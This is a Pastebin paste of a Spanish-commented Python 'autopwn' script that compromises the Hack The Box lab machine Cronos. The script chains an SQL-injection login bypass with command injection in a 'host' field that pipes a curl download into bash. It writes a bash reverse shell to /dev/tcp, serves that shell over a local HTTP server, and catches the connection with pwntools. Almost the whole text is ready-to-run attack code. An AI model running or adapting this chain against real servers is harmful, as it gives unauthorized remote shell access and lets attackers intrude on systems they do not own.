tukutu

autopwn_cronos.py

Aug 19th, 2021
209
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.98 KB | None | 0 0
  1. #!/usr/bin/python3
  2. #Para su correcto funcionamiento teneis que agregar al /etc/hosts la IP 10.10.10.13 y el dominio admin.cronos.htb
  3. #Uso: python3 autopwn_cronos.py <LHOST>
  4. #Ejemplo : python3 autopwn_cronos 10.10.16.198
  5.  
  6. import sys
  7. import requests
  8. import time
  9. import subprocess
  10. import os
  11. from pwn import *
  12.  
  13. signal.signal(signal.SIGINT, signal.SIG_DFL)
  14.  
  15.  
  16. #Variables
  17. IP = sys.argv[1]          #LHOST => Ip del atacante
  18. url = "http://admin.cronos.htb/index.php"
  19. url_exec = "http://admin.cronos.htb/welcome.php"
  20. lport = 443
  21. #Funciones
  22. def def_handler(sig, frame):
  23.     print("\n[-]Saliendo....\n")
  24.     sys.exit(1)
  25.  
  26. def obtainShell():
  27.     try:
  28.         s = requests.Session()
  29.         login_data = {
  30.             'username' : '''admin' or 1=1#''',
  31.             'password' : 'loquesea'
  32.         }
  33.         r = s.post(url, data=login_data)
  34.         data_exec = {
  35.             'command' : 'ping -c 1',
  36.             'host' : '$(curl http://%s|bash)' %IP
  37.         }
  38.         p1 = log.progress("\nCreando archivo index.html con contenido malicioso\n")
  39.         time.sleep(2)
  40.         os.system('echo "#!/bin/bash\n\nbash -i >& /dev/tcp/%s/443 0>&1" > index.html' %IP)
  41.         p1 = log.progress("\nMontando servidor con Python\n")
  42.         subprocess.Popen(["timeout", "10", "python3", "-m", "http.server", "80"])
  43.         p1 = log.progress("\nEnviando Payload...\n")
  44.         time.sleep(2)
  45.         r = s.post(url_exec, data=data_exec)
  46.        
  47.     except Exception as e:
  48.         print(e)
  49.  
  50. if __name__ == '__main__':
  51.     try:
  52.         threading.Thread(target=obtainShell).start()
  53.     except Exception as e:
  54.         print(str(e))
  55.  
  56.     shell = listen(lport, timeout=10).wait_for_connection()
  57.  
  58.     if shell.sock is None:
  59.         log.failure("[!]No se ha obtenido conexion")
  60.         sys.exit()
  61.     else:
  62.         log.success("\n ✔️  Se ha obtenido una shell ✔️ \n")
  63.         time.sleep(1)
  64.         log.info("\nAcceso como www-data\n")
  65.         time.sleep(1)
  66.  
  67.     shell.interactive()
  68.  
  69.  
  70.  
  71.  
  72.  
  73.  
Advertisement
Add Comment
Please, Sign In to add comment